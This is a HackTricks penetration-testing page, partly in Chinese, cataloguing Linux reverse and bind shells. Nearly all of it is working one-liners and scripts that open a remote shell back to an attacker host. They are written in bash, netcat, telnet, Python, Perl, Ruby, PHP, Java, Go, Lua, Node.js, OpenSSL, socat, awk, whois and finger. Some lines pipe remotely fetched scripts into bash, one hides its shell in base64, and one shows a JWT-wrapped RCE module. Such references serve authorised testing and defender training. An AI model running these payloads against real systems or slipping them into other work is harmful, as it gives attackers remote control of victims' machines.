hacktricks/generic-methodologies-and-resources/shells/linux.md

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# Shells - Linux
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<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
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</details>
**如果您对这些shell有任何疑问可以使用** [**https://explainshell.com/**](https://explainshell.com) **进行检查**
## 完整TTY
**一旦您获得反向shell**[ **阅读此页面以获取完整TTY**](full-ttys.md)**。**
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## Bash | sh
```bash
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curl https://reverse-shell.sh/1.1.1.1:3000 | bash
bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1
bash -i >& /dev/udp/127.0.0.1/4242 0>&1 #UDP
0<&196;exec 196<>/dev/tcp/<ATTACKER-IP>/<PORT>; sh <&196 >&196 2>&196
exec 5<>/dev/tcp/<ATTACKER-IP>/<PORT>; while read line 0<&5; do $line 2>&5 >&5; done
#Short and bypass (credits to Dikline)
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(sh)0>/dev/tcp/10.10.10.10/9091
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#after getting the previous shell to get the output to execute
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exec >&0
```
### 符号安全的shell
```bash
#If you need a more stable connection do:
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bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'
#Stealthier method
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#B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0
echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK | base64 -d | bash 2>/dev/null
```
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#### Shell解释
1. **`bash -i`**: 此部分命令启动一个交互式 (`-i`) Bash shell。
2. **`>&`**: 此部分命令是将**标准输出** (`stdout`) 和**标准错误** (`stderr`) **重定向到同一目的地**的简写表示。
3. **`/dev/tcp/<攻击者IP>/<端口>`**: 这是一个特殊文件,**表示与指定IP地址和端口的TCP连接**。
* 通过**将输出和错误流重定向到此文件**该命令有效地将交互式shell会话的输出发送到攻击者的机器。
4. **`0>&1`**: 此部分命令**将标准输入 (`stdin`) 重定向到与标准输出 (`stdout`) 相同的目的地**。
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### 创建文件并执行
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```bash
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1<ATTACKER-IP>/<PORT> 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh;
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wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh
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```
## 正向 Shell
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在处理基于 Linux 的 Web 应用中的 **远程代码执行 (RCE)** 漏洞时,通过网络防御措施如 iptables 规则或复杂的数据包过滤机制可能会阻碍反向 shell 的获取。在这种受限制的环境中,一种替代方法是建立一个 PTY伪终端shell以更有效地与受损系统进行交互。
一个推荐的工具是 [toboggan](https://github.com/n3rada/toboggan.git),它简化了与目标环境的交互。
要有效地利用 toboggan创建一个针对目标系统 RCE 上下文的 Python 模块。例如,一个名为 `nix.py` 的模块可以按以下结构组织:
```python3
import jwt
import httpx
def execute(command: str, timeout: float = None) -> str:
# Generate JWT Token embedding the command, using space-to-${IFS} substitution for command execution
token = jwt.encode(
{"cmd": command.replace(" ", "${IFS}")}, "!rLsQaHs#*&L7%F24zEUnWZ8AeMu7^", algorithm="HS256"
)
response = httpx.get(
url="https://vulnerable.io:3200",
headers={"Authorization": f"Bearer {token}"},
timeout=timeout,
# ||BURP||
verify=False,
)
# Check if the request was successful
response.raise_for_status()
return response.text
```
然后,您可以运行:
```shell
toboggan -m nix.py -i
```
直接利用交互式shell。您可以添加`-b`以进行Burpsuite集成并删除`-i`以获得更基本的rce包装。
另一种可能性是使用`IppSec`的前向shell实现[**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell)。
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您只需要修改:
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- 受攻击主机的URL
- 您的有效负载的前缀和后缀(如果有的话)
- 发送有效负载的方式(头部?数据?额外信息?)
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然后,您可以**发送命令**,甚至**使用`upgrade`命令**来获得完整的PTY请注意管道的读取和写入会有大约1.3秒的延迟)。
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## Netcat
```bash
nc -e /bin/sh <ATTACKER-IP> <PORT>
nc <ATTACKER-IP> <PORT> | /bin/sh #Blind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER-IP> <PORT> >/tmp/f
nc <ATTACKER-IP> <PORT1>| /bin/bash | nc <ATTACKER-IP> <PORT2>
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | nc <ATTACKER-IP> <PORT> 1>/tmp/bkpipe
```
## gsocket
在 [https://www.gsocket.io/deploy/](https://www.gsocket.io/deploy/) 进行检查
```bash
bash -c "$(curl -fsSL gsocket.io/x)"
```
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## Telnet
TelnetTelecommunication Network是一种用于远程登录的协议。 Telnet客户端将用户的键盘输入发送到Telnet服务器服务器将响应发送回客户端。 Telnet是一种明文协议因此不建议在不安全的网络上使用。
```bash
telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f
telnet <ATTACKER-IP> <PORT> | /bin/bash | telnet <ATTACKER-IP> <PORT>
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | telnet <ATTACKER-IP> <PORT> 1>/tmp/bkpipe
```
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## Whois
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**攻击者**
```bash
while true; do nc -l <port>; done
```
将命令写下来按回车然后按CTRL+D停止STDIN
**受害者**
```bash
export X=Connected; while true; do X=`eval $(whois -h <IP> -p <Port> "Output: $X")`; sleep 1; done
```
## Python
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## Python
```bash
#Linux
export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
#IPv6
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python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'
```
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## Perl
Perl是一种流行的脚本编程语言广泛用于系统管理、网络编程和安全测试。Perl脚本通常以.pl为扩展名。Perl在渗透测试中经常用于编写自定义脚本和工具以执行各种任务如信息收集、漏洞利用和后渗透阶段的操作。Perl具有强大的文本处理能力和模块化特性使其成为渗透测试人员的首选工具之一。
```bash
perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
```
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## Ruby
## Ruby
```bash
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
```
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## PHP
PHP是一种流行的服务器端脚本语言特别适用于Web开发。
```php
// Using 'exec' is the most common method, but assumes that the file descriptor will be 3.
// Using this method may lead to instances where the connection reaches out to the listener and then closes.
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
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// Using 'proc_open' makes no assumptions about what the file descriptor will be.
// See https://security.stackexchange.com/a/198944 for more information
<?php $sock=fsockopen("10.0.0.1",1234);$proc=proc_open("/bin/sh -i",array(0=>$sock, 1=>$sock, 2=>$sock), $pipes); ?>
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<?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.14.8/4444 0>&1'"); ?>
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```
## Java
```bash
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
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```
## Ncat
Ncat is a feature-packed networking utility that reads and writes data across networks from the command line. It supports various protocols and offers many advanced features, making it a powerful tool for network debugging and exploration.
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```bash
victim> ncat --exec cmd.exe --allow 10.0.0.4 -vnl 4444 --ssl
attacker> ncat -v 10.0.0.22 4444 --ssl
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```
## Golang
Golang是一种由Google开发的编程语言。
```bash
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
```
## Lua
Lua是一种轻量级、高效的脚本语言常用于嵌入式系统和游戏开发中。 Lua脚本可以通过解释器执行也可以编译成字节码运行。 Lua具有简洁的语法和强大的扩展能力被广泛应用于各种领域。 Lua脚本可以通过调用C函数扩展其功能使其更加灵活和强大。 Lua的设计目标是提供一种简单、灵活、高效的脚本语言适用于各种应用场景。
```bash
#Linux
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
#Windows & Linux
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
```
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## NodeJS
## NodeJS
```javascript
(function(){
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var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(8080, "10.17.26.64", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
or
require('child_process').exec('nc -e /bin/sh [IPADDR] [PORT]')
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require('child_process').exec("bash -c 'bash -i >& /dev/tcp/10.10.14.2/6767 0>&1'")
or
-var x = global.process.mainModule.require
-x('child_process').exec('nc [IPADDR] [PORT] -e /bin/bash')
or
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// If you get to the constructor of a function you can define and execute another function inside a string
"".sub.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()
"".__proto__.constructor.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()
or
// Abuse this syntax to get a reverse shell
var fs = this.process.binding('fs');
var fs = process.binding('fs');
or
https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py
```
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## OpenSSL
攻击者Kali
```bash
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response
```
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受害者
```bash
#Linux
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
#Windows
openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
```
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## **Socat**
[https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries)
### 绑定 shell
```bash
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
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attacker> socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337
```
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### 反向 shell
```bash
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
```
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## Awk
## Awk
```bash
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awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
```
## Finger
**攻击者**
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```bash
while true; do nc -l 79; done
```
将命令写下来按回车然后按CTRL+D停止STDIN
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**受害者**
```bash
export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null')`; sleep 1; done
export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null | grep '!'|sed 's/^!//')`; sleep 1; done
```
## Gawk
## Gawk
Gawk是一个功能强大的文本处理工具可以用于处理文本数据、生成报告和提取信息。
```bash
#!/usr/bin/gawk -f
BEGIN {
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Port = 8080
Prompt = "bkd> "
Service = "/inet/tcp/" Port "/0/0"
while (1) {
do {
printf Prompt |& Service
Service |& getline cmd
if (cmd) {
while ((cmd |& getline) > 0)
print $0 |& Service
close(cmd)
}
} while (cmd != "exit")
close(Service)
}
}
```
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## Xterm
这将尝试连接到您系统的6001端口
```bash
xterm -display 10.0.0.1:1
```
要捕获反向 shell您可以使用以下命令将监听端口设置为 6001
```bash
# Authorize host
xhost +targetip
# Listen
Xnest :1
```
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## Groovy
由[frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) 注意Java反向shell也适用于Groovy
```bash
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```
## 参考资料
* [https://highon.coffee/blog/reverse-shell-cheat-sheet/](https://highon.coffee/blog/reverse-shell-cheat-sheet/)
* [http://pentestmonkey.net/cheat-sheet/shells/reverse-shell](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell)
* [https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/](https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
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<details>
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